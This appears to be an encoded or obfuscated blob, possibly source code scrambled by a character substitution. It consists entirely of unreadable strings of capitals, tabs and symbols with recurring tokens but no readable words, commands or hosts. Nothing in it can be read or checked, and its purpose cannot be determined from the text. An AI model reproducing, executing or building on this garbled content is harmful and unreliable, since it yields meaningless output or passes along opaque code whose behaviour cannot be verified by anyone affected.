TNSSUONB   	 OFFFZFFFNV__MVWSOFFFFWTWSS_PWNB   	 OFFFFFFBT_TRF[[[FFFDDFFFFFFFNB9Q	9 9UFG[[FFFDDFFFF@@F	9	NB9Q	9 9UJFBT_TRJFAXAOOOFFlF9
T
PTTNP

_
TN^VVOJFFFB
VRW
JF9UNQ^_OO]lF FN9UN^^VONP

_
TN^^^OOOFlF&9		NU	NQRQOJFFVJFF	^R_ NQ^_OO]lFF&9		NP

_
TNPWPOJFVJFFFFFP

_
TNQ^_OO]l&9		NP

_
TNQSQOJFFVJFFF	^R_ NQ^_OO]lFFFFFFlF FNP

_
TN^^_ONU	N^_VOOOF&
9NW9_QSSQVNOO]llllFFFFllllFFFFFlF FNP

_
TN^^_ON9UN^_WOOFFFFF@@FFF9UN^_TON	^R_ N^^^OOOFFFFFlFFBU^	
FFF[FF9		NP

_
TN^_UOO]lF FFFFNBU^	
FG[[FF 
FF@@FFBU^	
FFG[[FFF^P	PU QNOOFFFlFF&9		NU	N^_UOJFFF^P	PU QNOJF9UN^_ROO]lFFFFllIIFF	F		 KllF FFFNGFU	N^_SONP

_
TN^_POOFFFFFFGF9		NP

_
TN^_UOJFFFFF^P	PU QNOJFFFDDJFP

_
TN^_ROOOFlF]llFFlFFFlFFFFRTU
	T	QRNO]lF FNP

_
TN^_SONP

_
TN^^^OOOFFlFFFFFF&9		NP

_
TNQRQOJFVJFU	N^_ROO]lFF&9		N	^R_ NPWPOJFFVJFFFU	N^_ROO]l&9		N	^R_ N^_QOJFFVJFFFU	N^_ROO]lFFFlFF FFFFN	^R_ N^_SON9UN^_VOOOFF&
9NW9_QSSQVNOO]lFlFF FFFFNB
VRW
FFFFF@@FFGWTWSS_PWNB
VRW
OOFlF9
T
PTTN	^R_ N^VVOJFFB
VRW
JFFFFFFP

_
TN^_^OO]lFlIIF&F	llRUQR
WPP^Q N

O]lFFFFFFFlFFFFFU9
 NWP__VVUVNOJFFFFFNVMVSOO]lIIF&
FK	llllllT
VVUN	^R_ NRRTOJFF9UNRRUOJFVO]lFllFFFFFFFT
VVUN	^R_ N^__OJFFFF	^R_ N_VVOJFFFFVO]lFFFFFFN2	
FFB
WSW9TOFFFlF	RR^TT9
N	^R_ N_VWOJFFFFB
WSW9TO]lFF FNP

_
TN^_SON9UN_VTOOOFFFF&
9		N9UN^_UOO]lFFFFFFFFN#	FFFB
WSW9TOFFlFFFFFFF FFFN	^R_ N^_SON9UN_VTOOOFFFFFF&
9		NU	N^_UOO]lFFllF 	FF_9_VTU	NOlFFFFFlFFFFFFFFB[UPL^]B

[BKWT]lFFFFF FN	^R_ N^_SONP

_
TNQ^ROOOFFlIIF16F#F6	FF	ll&9UN_VUON	9
NAIAOJFN9UNQ^POFFFF[XFNWMROJF9UNUU^OF[XF 
JFP

_
TNRR^OF[XFFF 
OO]llllFFlIIF6.6F^HTF\F	 FllFFFN2	
FFB
WSW9TOFFFFl	RR^TT9
N9UN_VROJFFFB
WSW9TO]lFFFFN#	FB
WSW9TOFFlFlFFFFFFFFlFFlFFFFF 	F SSWW_SWNOllllFFFFFB_Q__VQFF[FF 
]l FFFNB_Q__VQOFF]lFFFB_Q__VQF[F]lFFFFFFFlF FNGFFFFFU	N^_SON9UN_VSOOFFFGF9NOOFl]lFl FNGU	N^_SON	^R_ N^UWOOFFFFFFFG99NP

_
TN_VPOOOFFlFFFFFF]llFFFFFBP
S	PF[FNB94#73#52=9UN_VQO;OFFYFB94#73#52=	^R_ N_VQO;FFF\FFFDD]lFBP
S	PFF[FF	^R_ N^^QONBP
S	POFYFFU	NP^WONBP
S	POF\FDD]lFF FFNBP
S	PFG[[FFP

_
TN_V^OFFFFFF@@FFBP
S	PFFFG[[F9UN_V_OOFl]lFFlFFFFFFFFlB99QVUSWQ ^PFFFF[FFFFNO]llFFF FNBP
S	PFF[[[FF	^R_ N_V^OOFFFlFFBPQ	 	S^FFF[FFFNB94#73#52=U	NQVSO;OFFYFFFB94#73#52=	^R_ NQVSO;FFF\FFFFFDD]lFFFFBPQ	 	S^F[FF	^R_ N^^QONBPQ	 	S^OFFYFF	^R_ N_WVONBPQ	 	S^OFFF\FFFDD]lF FFFNBPQ	 	S^FFF@@FFFFBPQ	 	S^FFG[[FFVSPQ_V_P VNOOFFFFFFlFB99QVUSWQ ^P=;F[FFFBPQ	 	S^]llFFF
FFFlIIFFK llFFFFlFFFFB99QWU	FFFFF[FNB94#73#52=9UN_WWO;OFFYFFFFB94#73#52=9UN_WWO;FFFF\FNO]lFFFFFB99QWU	FFFFF[FFU	N_WTONB99QWU	OFFFYFFB99QWU	F\FFNO]lFFFF 	FNB99QWU	FFBPQ	 	S^OFlIIF
	F
F 	FFlllllFFBPQ	 	S^FFF[FFFU	N^^QONBPQ	 	S^OFFYFF9UN_WUONBPQ	 	S^OFF\FFFDD]llllF FFFFNBPQ	 	S^F@@FBPQ	 	S^FFG[[FFVSPQ_V_P VNOOFFlFFB99QVUSWQ ^P=;FFFFF[FFBPQ	 	S^]lFlFFFFFlFFFFFFFlFFF FNNB99QVUSWQ ^POOFFl]B9^9[WTP^V]BT[B9^98^W]llILFF
K	FLIllFFFFBPQ9	SQFFF[F 
]lFFF 	FFNB99QVUSWQ ^PFFFFFBPQ	 	S^OFFBQ
 [NVT MVUO]BS
R[BQ
 CWP]lFFFFF FFFFNVWSPRPNBPQ	 	S^OOFlP^UTNBPQ	 	S^O]lFBPQ9	SQFFFF[FF]llFlFF FNBPQ9	SQOFFFFllllF FFFNU	N^_SONU	N_WROOF@@FF	^R_ N^_SON	^R_ N_WSOOOFFFFFFlIIF6.65F

F_\F F
	llllF9 9N9
N	^R_ N_WPOOO]lFFFFFllFFFFFFFFN2	
FFB
WSW9TOFFFFlF	RR^TT9
N9UN_WQOJFFFB
WSW9TO]lFFFFFFFN#	FFFB
WSW9TOFFFlIIF654KRFF F 

llFllFFF 	FFFFFF	RUS_NB9JFFFB
QVVTQOlFFFllllF FFNB
QVVTQFFFF[[[FFFP

_
TN_W^OOFFlFB
FFFFF[FFF@B!*)$'*5=	^R_ N_W_O;]lFF FFNGNB
=P

_
TN_W^O;OFFFFFG	^R_ N_WTONB
=	^R_ N_TVO;OOFFllllFFFB9]lllFFFFFB9WP9TFFFFF[F N	^R_ NWRVOOFFYFF169%)(2#(29"/4FF\FFN NP

_
TNVOOFYFFFFFF'$56'2.FFFHFFF	^R_ N^S_OFF\FFFDDO]lFFFF FNB9WP9TF[[[FFFFDDOFFFFlFFFFFFFFFB9]lFFFFFFFFlFB
P 9FF[FFN	^R_ N_TWOFFFF[XFFU	N_TTOJFF9UN_TUOFF[XFFFFFFP

_
TN_TROO]l 	FNB
P 9FFFFFFFFBRQF[XFFFBWS_9WOFFFFFllll FNGNB
=P

_
TN_TSO;=BRQ;OOFFlF	]llIIF&	FlllllFBUUF[F&	^R_ N_TPONB9WP9TFFHFFFAIAFFHFBRQO]l FFFFFNG9UN^^QONBUUOFFFFFFFFU	N^PRONBUUJFFFU	N_TQOFFHFBWS_9WFHFFU	N_T^OOFFFFF[[[F 
OFFFFl	]lFFFFFFlllFFFFB^ _U9FF[FFF9UNSWWONP

_
TN_T_OFFFHFFFFFBWS_9WFHFFF	^R_ N_UVOFFFHFFFBWS_9WFFHFU	N_UWOJFFFDDJFFFFBUUO]lFFFFFFFF FNG	^R_ N^^QONB^ _U9OOFlFF	]lFFFlB^ _U9FF[FFFF9UN_WUONB^ _U9O]lllFF FFNB^ _U9FFF[[[FFFDDFFFFB^ _U9FF[[[FFFFFP

_
TNQPWOFFFFFFFB^ _U9FFF[[[FU	NTS_OOFlIIF16F$
	6	FF22*llFFFNB
=9UN_TSO;=BRQ;O]lFFFFFFFFlFFFlFFFFFB9]lFFFFFllllFFFFF FFNB
QVVTQFFG[[F	^R_ N_UTOOFFlFFB9]lFlB
FFF[FFF@B!*)$'*5=U	N_UUO;]llFFFBWSQF[FFFFFF	^R_ N^PTONWP__VVUVNOO]lFFFFF FFFNNB
=	^R_ N_URO;=BWSQ;OOFFFlFFNB
=P

_
TN_URO;=BWSQ;O]llFFFFB9]lFFFFlF FFNGU	N^_SONP

_
TN_USOOOFFlFF 	F9 9QRPRQ 
WV	NOlll FFNGFUW_U9W^NOOFFFFlFFFFFFF]llFFFlFFBT	W QF[FU	N_UPONWP__VVUVNOO]lFBTVFF[FFFFP

_
TN_UPONWP__VVUVNOJFU	N_UQOO]lFFFFFBR	9_RFFFF[FFBTVFFHFAIAFFFHFFFBT	W Q]lFFFFF	FF	^R_ N_U^OFFHFFFFFF9NBT	W QOFHF	^R_ N_U_OFFFFHF9NBR	9_ROFHFFF	^R_ N_RVO]lFF	F	^R_ N_RWOFHFFFF9NBT	W QOFFFFHF	^R_ N_RTOFFFFFHFFFFF9NBR	9_ROFHFP

_
TN_RUO]lFllFF FFFNG9UN_RRON9UN_RSOOOFFFlFFFFFF 	FWRQ	^	9NBV	WPVOllILF
	F		FLIllFF FNGFU	N_^ONBV	WPVOOFFlFFFBV	WPV]BUS_^[PTR^]B_SSU[BUS_^CWW]lFFlFBT	W QF[FFVSPQ_V_P VNO]l FFFFFFNNBV	WPVKX	=BT	W Q;OOFFFlFFNBV	WPVKX	=BT	W Q;O]lllFFFFFFlILF
F
FLIllFFFFFFFFFFFBV	WPV]lFFFFllF FNGU	N_RRONU	N_RPOOOFll 	F 	RPW_NB
OllFFBR WPV FF[FVSPQ_V_P VNO]lF FNNB
=BR WPV ;OOFFFFlFFFFFNB
=BR WPV ;O]lFFllFFFlFFFFBTVFF[FFFU	N_UPONWP__VVUVNOJFF	^R_ N_UQOO]lFFBR	9_RFF[FFBTVFHFAIAFFFHFF9UN_RQONWP__VVUVNOO]BS^WV_[QRU]B

TR	V9_[NBS^WV_XVOYBS^WV_\KBS^WV_]l FFFNNB
=BR	9_R;OOFFlIIF16F7F*		\FF	llFNB
=BR	9_R;O]lFFFFFlFFFB
]llFlFFFFFF 	FF^_VQQSWNBPU
9T^OlFFFFFFFFlF FNGFP

_
TN_WTONBPU
9T^OOFFFFFlFFFFFBPU
9T^]lFlFFBV__FFF[FFFFFDD]lF FFFFN	^R_ N_RRONP

_
TN_R^OOF@@F	^R_ N^^SONWP__VVUVNOOOFFFFlFFFB			UUVT
FFFFF[F9
9NWP__VVUVNOJFFFFF 
JFFFF 
O]lFFBV__FFF[FFNB			UUVT
=	^R_ N_R_O;OFFFYFB			UUVT
=	^R_ N_SVO;F\FFDD]llllFFFlFFFB
RQ_RFF[FFFNP

_
TN_SWOJFU	N_STOO]lFF 	FNB
RQ_RFFFFFFFFBV	 OFlF FNGFFFFNBPU
9T^=BV	 ;=P

_
TN_SUO;OFFFFGFF	^R_ N_SRONBPU
9T^=BV	 ;=9UN_SUO;OOFFFFlFFFF	]lllFFlFF 	FFFFNBPU
9T^=BV	 ;=9UN_SSO;FFFFFFFBFFFFF[XFFB	 RST OFFFFllllFFFFFF FN	^R_ N_SPONBJFFVSPQ_V_P VNOOFFFG[[FFF 
FFFFFFFFFBF[[[FFFFVSPQ_V_P VNOOFlFFFFFFFNBPU
9T^=BV	 ;=9UN_SSO;=B;O]lFFFFF	]lFFllFFF FFFNBV__FFG[[FDDFFF@@FFFBFF[[[FBV__OFFFFllFNBPU
9T^=BV	 ;=	^R_ N_SSO;=B;O]lF	]lFlFFFFFFFFllFFlIIF16F(	F$
	\FK			FKllF 	FFNNP

_
TN_SQOJFFFFFU	N_S^OOFFFFFFFBR			OFFFlFBTR9PFF[FFFNBPU
9T^=BR			;=9UN_SSO;OF@@FF9UN_SRONBPU
9T^=BR			;=U	N_SSO;OFFFYFFFFFBPU
9T^=BR			;=P

_
TN_SSO;FF\FFFFNO]llFFFFF FFFFFNGBTR9POFF	]lFFFBQ  Q	9FF[FFFFF NU	NWROOFFFFYF16+396*3!/(9"/4F\FN NU	NWRVOOFFYF169%)(2#(29"/4FHFFP

_
TNWSOFFFFFF\FFFFFFDDO]llllFFFB9_
^99W
FF[FFFFNO]B9V[NVQSMVPO]B	W[B9VCP]lF FFFFFFNBV__FFG[[FFDDOFFFB9_
^99W
=;F[FFBV__]lFFFB9_
^99W
=;F[F9UN_RQONWP__VVUVNOO]llFFFFF FNBQ  Q	9FFG[[FFDDF@@FFF&U	N^QQONBQ  Q	9OF@@FU	N_RRON	^R_ NSV^OOOFFFB [TWUV]BW	SV[B 8RP]llFFFFFF 	FFFFFFNNOF&P

_
TNSV^ONBQ  Q	9FFHF	^R_ NPPTOOFFFFFBTST VOFFlFBQ_UR	FF[FF&P

_
TN_TPONBTST VJFF 
JFF

JFVJFFFNWSTTQKQVUSOO]lFFF FNG	^R_ N^^QONBQ_UR	OFFFFFFP

_
TN_SPONBQ_UR	JFU	N_S_OOFFFFFF[[[FFFFF 
OFF	]lllF FNU	N^VPONP

_
TN_PVOJFBQ_UR	JFFFFBTWUR^OOFFlFB9		RUW VF[FFF	^R_ N_WUONBTWUR^=W;O]llFF FNB9		RUW VFG[[FFDDOFFFB9_
^99W
=;FFF[FFB9		RUW V]lFFlIIF F
lllllFFFB9_
^99W
=;F[FFU	N_PWONBTST VO]lFlFllllFF 	FNBTR9PFFFBFF[XFB	 RST OFl 	FFFFNB9_
^99W
FFFFBRQR9OFFFFlF FNBFF[[[FFBRQR9FFBFFF[[[FF99 
NBRQR9OOFFFFFFlFNBPU
9T^=BR			;=9UN_SSO;=B;O]lF]B W_S^[NVPMVTVO]BTV9TT[B W_S^CWU]lllllFllllB
VV	U
WQTWFFF[FFFNBPU
9T^=9UN_PTO;=P

_
TN_SSO;OFF@@FFFP

_
TN_PUONBPU
9T^=U	N_PRO;=U	N_SSO;OFFFYFFBPU
9T^=P

_
TN_PRO;=U	N_PSO;FF\FNO]lFF FFNB
VV	U
WQTWOFlB9WP9TFF[FF N9UNWRVOOFFFFYFFF169%)(2#(29"/4FFF\FFN NU	N_PPOOFFYFF'$56'2.FHFF9UN_PQOFFFFF\FFDDO]lB
P 9F[FFFFNP

_
TN_TWOFF[XFFFFFP

_
TN_TTOJFF9UN_TUOFFFFF[XFF9UN_TROO]lF 	FFFFNB
VV	U
WQTWFFFFBFFFF[XFFFB	 RST OFFFFlFFFFFF FFFNGNB
P 9=B;OFFFFFFB9WP9TFFFF[[[FFFFFDDOF	]llBUUF[F&9UN_TPONB9WP9TFFFHFAIAFHFFBJFF 
JFF

JFVJFNPW_^KTWVTOO]lFFFF FFFFN9UN^^QONBUUOF@@FFFFFFN	^R_ N_SPONBUUJFF9UN_P^OFHFFFB
P 9=B;FFFHFFP

_
TN_P_OOFFG[[FFF 
FFFFFP

_
TN_QVONBUUJFFFFFF	^R_ N_S_OOFG[[F 
OOFFFlNBPU
9T^=	^R_ N_PRO;=9UN_PSO;=B;O]llllIIF		F 
F	lllllFllIIF16F6F*\F	
F  KllFFFFFFFBPU
9T^]lFFlFFFlFFF 	FFF 9QV9SNBSUVROllFFFFF FFFNGFFFFP

_
TN_PUONBSUVROOFFlIIFF	
FKllFBSUVR]llFFB RW
UPT 	FFF[FFFF	^R_ N_PWONWP__VVUVNOO]lFFFBPQ 
W	UFF[FFP

_
TN^TTONB RW
UPT 	JFFF6'2./( )9 /*#('+#O]lFFFFB^ VFFF[FNlFFNU	N_QWOFF[XFFAEAFHFF9UN_QTONB RW
UPT 	JFFFAEAOFHFU	N_QUOJFFF9UN_QROFFFFF[XFFOJllllFFFFN	^R_ N_QWOFFFFF[XFFP

_
TN_QSOFFFFFHF9UN_QTONBPQ 
W	UJFAEAOFFHFFFP

_
TN_QUOJFFU	N_QROFFFFF[XFFFOJlO]lFF FNNBSUVR=	^R_ N_QPO;OF@@FP

_
TN_PUONBSUVR=P

_
TN_QPO;OOFFFFFFlFFFFFFFF 	FFNBSUVR=U	N_QPO;FFFFBVS^PTSFFFFF[XFB_SROFFllF FFNGFF9UN_QQONB_SROFFFFFGFFFFF9UN_Q^ONBVS^PTSOOFFlF	]lllllFFFFFF FNGFFFNBSUVR=P

_
TN_QPO;=BVS^PTS;=U	N_Q_O;OFFFFFFFFGFP

_
TN_QQONBSUVR=	^R_ N_QPO;=BVS^PTS;=U	N_Q_O;OOFlllBSUVR=P

_
TN_QPO;=BVS^PTS;=P

_
TN_Q_O;FFF[FFNO]lFFlFFFFF 	FFFFNB^ VFFFFFFB_OFFFlIIF 	
K	F
KF
	
	lllllBSUVR=U	N_QPO;=BVS^PTS;=U	N_^VO;=;FF[FFFB_]lFFFFlFlFlFFBSUVR]lFlFlFFFF 	FFFFWP_NOlFBV
RQWS[6.69/(29+'>I6.69/(29+'>]B UT9
[BV
RQWSM_W]lFFFFFFlFFF FFNGF N	^R_ N_^WOOFFFFFF	NU	N_^WOOFFZFFFNTMSOOFFFFFFlFFF]BU U9
[6.69/(29+'>I6.69/(29+'>]B9	[BU U9
MWU]lFFFlFFFFFF FFN9UNPV_ON9UN_^TOJFF 
OOFFFlILFKF 
KFLIllF]lFFFlBVRUFFF[FFFFFF	^R_ N_PWONWP__VVUVNOO]lFFFFFB
 	^_RFF[F NP

_
TN^T^OOFYFFF1696*3!/(9"/4FFFFF\FDD]lFB9_U F[FFNlFB
 	^_RFFFFFFHF	^R_ N_^UOJlFFFB
 	^_RFFFFFFHFU	N_^ROJllllFFFFFFFB
 	^_RFFHF9UN_^SOJlFFFFFFO]llBVF[FFFFFDD]lF 	FFNB9_U FFFFFBT	W QOFl FNBT	W QFFFFG[[FFFFDDFFF@@FFF&U	N_^PONBT	W QOFF@@FFF&U	N^WWONBT	W QOOFFllllFFFBVF[FFFBT	W Q]lFF]lFFFlFlFFF FFFFFNBVF[[[FDDOFFlFFF]lFFlFFFFFBVR U9FF[FF9UN^PUONBVO]l
9	
	9N 	FNBWRV_UOFFFFFFFFNBVR U9OFFFFlF 	FFFFFNNBVR U9FFFFHFFFAIAFHFFFBWRV_UFFHFU	N_^QOJFFFFBVR U9FFFHFFFFAIAFFHFFBWRV_UFHFFFF9UN_^^OOFFFFFFBSQR
OFFllllFFFFF FFFFN&	^R_ N_^PONBSQR
OOFFFFl
9	FFBSQR
]lFFFFFF]lFllllFFllllFFFFFFO]lFFFBR^STV	
WFF[FF&9UN_TPONBVO]lF FNBR^STV	
WFFF[[[FFFFF 
FFFFFFF	^R_ N_QVONBR^STV	
WJFFFFFFP

_
TN_^_OOF[[[FFFFF 
OFFFFFllllFFFFF]llFFBR^STV	
WFFF[FFFF	^R_ N__VONP

_
TN__WOJFFFDDJFFBR^STV	
WO]lFFFFFBR^STV	
WF[F9UNRV_ON	^R_ N_^_OJFFF	^R_ N__TOJFBR^STV	
WO]lFFBSUFF[FFFFFF9PPUR9WPVPN9	W
	NOJFP

_
TN^SSOO]lFF FFFNBSUFF[[[F 
OFFFBV 	^S [WSMSP]B^P	VV[BV 	^S KRP]lFFFF]llFFF&U	NTWTONBSUJFU	N__UOFFHFFFFBR^STV	
WO]lFlFF&
FBSU]lF 

FFlFFF
VUNBSUO]lFFFFlFFFBRFFFF[FFFFFU	N^TTONBVRUJFF6'2./( )9 /*#('+#O]lFFB!*)$'*5=	^R_ N__RO;FF[FBVRU]lFFB!*)$'*5=9UN__SO;FF[FFFFFBR]lFB^UWFF[FU	N__POlFFHFU	N__QOllFFFHFF	^R_ N__^OlFFFFHFFFF	^R_ N___OlFFFHFP

_
TNWVVVOllHFFFFAAlHFFP

_
TNWVVWOlHFFAAlHFFFAA]lFFFFFB_^W	99FFF[FF9PPUR9WPVPN9	W
	NOJFFFU	NWVVTOO]lFFFFF FFNB_^W	99OFFFlIIFKF
	F 	F16F#F6	llFFF&P

_
TNTWTONB_^W	99JFFB^UWO]lFFFFFllFFF&
FFB_^W	99]B

9Q[^^V]BVWRWT_W[B

9QCWS]lFFF 

FFlFFF
VUNB_^W	99O]lFlFFFlIIF	

F 	llFFFFFFFFFFFFN2	
FFFFFFB
WSW9TOFFFlFFFFFFFF	RR^TT9
NP

_
TNWVVUOJFB
WSW9TO]lFFFFFFFFN#	FFB
WSW9TOFlFFFFFlIIF16F$	F$
	\F
FllFFFFl FFNGP

_
TN_RRONP

_
TNWVVROOOFBVPV9 9[UVM^V]BT _WQ[BVPV9 9KTR]l 	FFFFF	VR^WQNB9	JFBWR UWPS	TOlFlFFFF FFFFNGFF	^R_ NWVVSONB9	OOFlIIF&FK
llFFFFFFB9	]llllFFFFFFlFFFFBS	F[FFNU	NWVVPOJFFFFFP

_
TNWVVQOJFFU	NWVV^OJFF	^R_ NWVV_OJFFFFFF	^R_ NPUVOO]lFF 	FFFFFNBS	FFFFFFFBOFlIIFF	llFFFFF FFFFFNGFFFNB9	=B;OFFFFFFFFGFF9UNWVVSONB9	=B;OOFFlF	]lFllllFBU	9FF[FFFFNO]lF 	FFFNB9	=B;FFFFFFB
RU^ 9PSR OFFlFFFFFFF FFFNGFU	NWVWVONB
RU^ 9PSR OOFFFFlIIF+57*F,5)(F		F	FFllBU	9=;FF[FB
RU^ 9PSR ]l	]lFFFlFBVP^VWFFF[FFFFFNB
RU^ 9PSR =9UNWVWWO;OFYFB
RU^ 9PSR =U	NWVWWO;FF\FDD]llBRFFF[FFNB!*)$'*5=P

_
TNWVWTO;OFFYFB!*)$'*5=U	NWVWTO;FF\FDD]lllF FFFNBVP^VWFFF[[[FBWR UWPS	TFFFNBRFFFFFG[[FFFFDDFFF@@FBVP^VWFF[[[FFFFBROOFFFllFFF	]lllFFFFBU	9=;FF[FFF	VR^WQNB
RU^ 9PSR JFFBWR UWPS	TO]lFFFFlFB9	=B;FF[FBU	9]B
TT
^[SULT]BU	PV^[B
TT
^KUR]lFFFlFFFFB9	]lll 	FUS	R^NOlFFFFFlIIF 
F	llFlF FNU	N_RRON9UN^QROOFFFF@@FFFFF9NP

_
TNQ^TOOOFFlFFFFFFF]lllllFFFFFFB ST S F[FFFF&	^R_ NTTUONWP__VVUVNOO]l FFFFNB ST S FF@@FFB ST S FFFXFN^SQSKUSQSOFFF@@FFFB ST S FZFFFFNR____P^MUTOFFF@@FGW U^PTWSNWP__VVUVNOOOFFlFFFFFFBRTUFF[FFFFF&P

_
TN_TPONWP__VVUVNOO]lFF FNP

_
TN^^QONBRTUOFF@@FU	NWVWUONBRTUOFFF[[[FFFB ST S FFF@@FFS_V9QNBRTUOOFlF FFN URUSWNWP__VVUVNOJFFFU 		 WS	NBRTUOOOFFlFFFF_R
RRWU
NWP__VVUVNOO]lFF
V _RR _9NWP__VVUVNOO]lFFFFFFFlFFFFlFNBRTUO]lFFlllFFFFFFFFB
SSVSFFF[FFF&9UNTTUONWP__VVUVNOO]lllFBT9TF[FFB
SSVSFF@@FB
SSVSFFFXFFNR_^QMWUO]l FFFFNBT9TFF@@FFFB
SSVSFFXFNSTRT^QVTM_^OOFFlFFBT9TF[FFF 
]lFFFFFFFlllFF FFFFFNBT9TOFlFFFBWTT	^^FFFFFF[FF&U	N_TPONWP__VVUVNOO]l FFFFFN9UN^^QONBWTT	^^OFFFF@@FFFU	NWVWUONBWTT	^^OFXFFN_QTQR^MQS^T^OOFFFBWTT	^^FFF[FF9^QSRQNBWTT	^^O]lFF FNG	^R_ NWVWRONBWTT	^^OFFFFFFFGS_V9QNBWTT	^^OOFFFFlFFFFFBT9TF[F 
]lFFFFFF
FFFFFFlFFFFBU		PVF[FFFT_RUU99N9UNWVWSOJFFDDO]lFFFFFFB9RSFFFFF[FFF	WS	P W_NBWTT	^^O]lFFFB	WF[FF	WS	P W_NP

_
TNWVWRONBU		PVOFFFFYFFBU		PVFF\FFFFDDO]lFFFFFFF FFNB9RSFFFFG[[FFDDFFF@@FNB	WFFFF[[[FFFDDFFFFF	9	NB	WJFB9RSJFAZAOOOFFFFlFFFFB U	P
FFF[FU	N^^TONBWTT	^^O]llllFFFFFBPV^FF[F&	^R_ NWVWPON	^R_ N^PUONWP__VVUVNOOFFFHFFU	NW^SOFFFHFB U	P
O]lFFFFFFF FNGBPV^OFlFFFB9UW_^FF[FFFF9		N9UNW^_OO]l FFFNU	NWVWRONB9UW_^OFFFFFF@@FFFF	^R_ N_QVONB9UW_^JFFFB U	P
FFHFFAAOFF[[[FFFFVF@@FFFFFP

_
TN^SQONOFKFFNOFF	^R_ NWVWQONB9UW_^JFF	^R_ N_QVONB9UW_^JFAAOFFFFFFMFWOFFZFFNVWURMVWUUUOOFFBPV^FFFFFF[FF]lFlF FNBPV^OFFFFBT9TFFFFF[F 
]lllF FFFNGBPV^FF@@FFFFFU	NWVWRONBU		PVOFFFF@@FFNBU		PVFFFF[[[FFFDDFFFFB	WF[[[FFDDFFFF	9	NB	WJFFFB9RSJFFFAZAOOOFFFF9
T
PTTNP

_
TNWVWSOJFFBWTT	^^JFF	^R_ N^_^OO]lFNB U	P
JFFFFFBPV^JFFB9UW_^O]lllF
 FN	^R_ NWVWRONBU		PVOF@@FFF	^R_ NWVWUONBU		PVOFXFFNR^SMWSOFFFF@@FP

_
TNWVWUONBU		PVOFZ[FFNWVR^SQSMWOFFFFF@@FGWTWSS_PWNBU		PVOFF@@FFFFS_V9QNBU		PVOF@@FF	^R_ N^^TONBWTT	^^OFG[[F	^R_ NWVW^ONBU		PVOOFFlIIF	K	FK  K F		
K 
	KllBT9TFFFF[FFFF 
]llFFFFFlFFFFFlFFF FFFFNBT9TOFlIIF/
F	\F
F
llF FN	^R_ NWVW_ON	^R_ NQ^WOOOFlFFFFFFF9NP

_
TNWVTVOJFFWJFNVUV^MVV^OO]llllFFlFFFFFFF]lFFFlF FNW U^PTWSNWP__VVUVNOOOFFFlFFFFFF]lFFlBVSTFFFF[F	^R_ N^PUONWP__VVUVNOO]lFFF FFNGF&	^R_ N^QQONBVSTOOFFFlIIF&	
	KF	K
llFFFFFF9WR
R NBVSTJFFFFFFNSVWK^OJFO]lFlFFFFFB__
U F[FFT_RUU99NU	NWVTWOJFFDDO]lF FFNGB__
U FFFFFFG	^R_ NWVWRONB__
U OOFFFFFlFF FFNG9N9UNWVTTOOOFFFFFllF	RR^TT9
N	^R_ NWVTUOJFF9UNWVTROO]llllllFF9N9UNWVTTOJFFFFFFWJFFNWUTVMTT^VOO]lFlFFFl FFFFFFNB__
U FF@@FFFU	NWVWRONB__
U OF@@FF9UNWVWUONB__
U OFXFNRPQMUUOFFFFF@@FFP

_
TNWVWUONB__
U OFZ[FFNWVR^R_RM^TOFFFF@@FFFGWTWSS_PWNB__
U OFF@@FFFS_V9QNB__
U OOFlFFFB
FF[F	WS	P W_NB__
U O]llFF FNB
FG[[FFFFFDDFFFF@@FF	9	NB
JF^P	PU QNOJFFFFFAZAOOFFFFlFF]B	[QV_]B	P[B	8TV_]llllllB
S	SFFFFF[FFFP

_
TN^PUONWP__VVUVNOOFFHFFFFP

_
TNQ_UOFFFFHFU	N_PWONWP__VVUVNOJFF	^R_ N_^^OO]lllBSRWP

	F[F&P

_
TNWVWPONB
S	SOFYFFF9UNWVTSONNOFFF&U	N_TPONB
S	SOOF\FDD]l FNBSRWP

	FFG[[FFDDFFFFF@@F9UNWVW^ONB__
U OFF[[[FFBSRWP

	OFFFFFFllllFFFFFF]lllU9
 NWP__VVUVNOJFFNURQMQUOO]lFB_R^SRF[F URUSWNWP__VVUVNOJFFFFU 		 WS	NB__
U OO]lF FFFNB_R^SROFFlFFFFF_R
RRWU
NWP__VVUVNOO]lFU9
 NWP__VVUVNOJFFFNUPRKQTOO]l
V _RR _9NWP__VVUVNOO]lFFTWTNO]lllU
WTNO]lFFFF^
	 ^
NWP__VVUVNOO]l FFN9UNWVW_ON	^R_ NQ^WOOOFFFlFFFF9NP

_
TNWVTVOJFWJFFFNVSMV^PTOO]lFFFFFFlFFFF
 FNU	NWVW_ON9UNQ^WOOOFFFlFF9NP

_
TNWVTPOJFWJFNWQTWMQ_OO]lFFFlllFFFllllFFFFFFFN2	
FFFB
WSW9TOFFl	RR^TT9
NP

_
TNWVTUOJFB
WSW9TO]llllFFFFFN#	FFFB
WSW9TOFFlFFFFlFFlFFFFlF 	F 9S9	VNOlFlIIF6.6FFF	llFFFFU9VS_Q^SNU	NWVTQOJFU	NWVT^OO]lU9VS_Q^SNU	NWVT_OJFFFP

_
TNWVT^OO]lF FFN	^R_ NWVW_ONU	NWVUVOOOFlFFFFF	9	NP

_
TNWVUWOJFFFFFU	NWVUTOO]lFF	9	N9UNWVUUOJFFFF9UNWVUTOJFFNQMUOO]l	9	NP

_
TNWVUROJFF	^R_ NWVUSOJFFNSMSOO]llllFFFlIIF16F$
	F0	F		F	llFFFFFFFl 	FFFFF9U_QSRNOllFFFFFFFlIIF	
lllFBFF[FFB!*)$'*5=9UNWVUPO;]lFFFFllllFFFBUFFF[FFFFBKX FFFFHF	^R_ NWVUQO]lFFFFFBQ 9PTP TFFFFFF[FA5AFFHFFFU	NWVU^OFFFHFBKXFFFFHFFFFU	NWVU_OFHFBKXFFHFFFP

_
TNWVRVO]lFFFFBKX9
NBKXNBQ 9PTP TJFFFBUJF	^R_ NWVRWOOO]lFFFFFFFN2	
FFFFB
WSW9TOFFFlFF	RR^TT9
NP

_
TNPQTOJFFB
WSW9TO]lFFFFFFFFFFFFFN#	FB
WSW9TOFlFFFFFFFlFFFFFFFFNO]B9_SWU[WS_TVR]BP^ U[B9_SWU8PQ]llllFlFFF 	F9
RV	PNB	Q^9WS	OlFlFBRTSRFF[FNO]lFFFFFB
T_VQSFFF[F 	FFNB		S_ WSVOFFlIIF
F	K	
FKK
	llFFFFFFFB		S_ WSV=	^R_ NWVRTO;FF[FFDD]lFFFFFFFFFB		S_ WSV]llIIFF
l]llllFFFFFFlFFFF FNGF	^R_ NWVW_ONP

_
TNWVRUOOFFFGFF	^R_ NPV_ONP

_
TNWVRROOOFFlIIF6.6FF	\F		F
llFFFFFBRTSR]lFFllllFF FFFNGFP

_
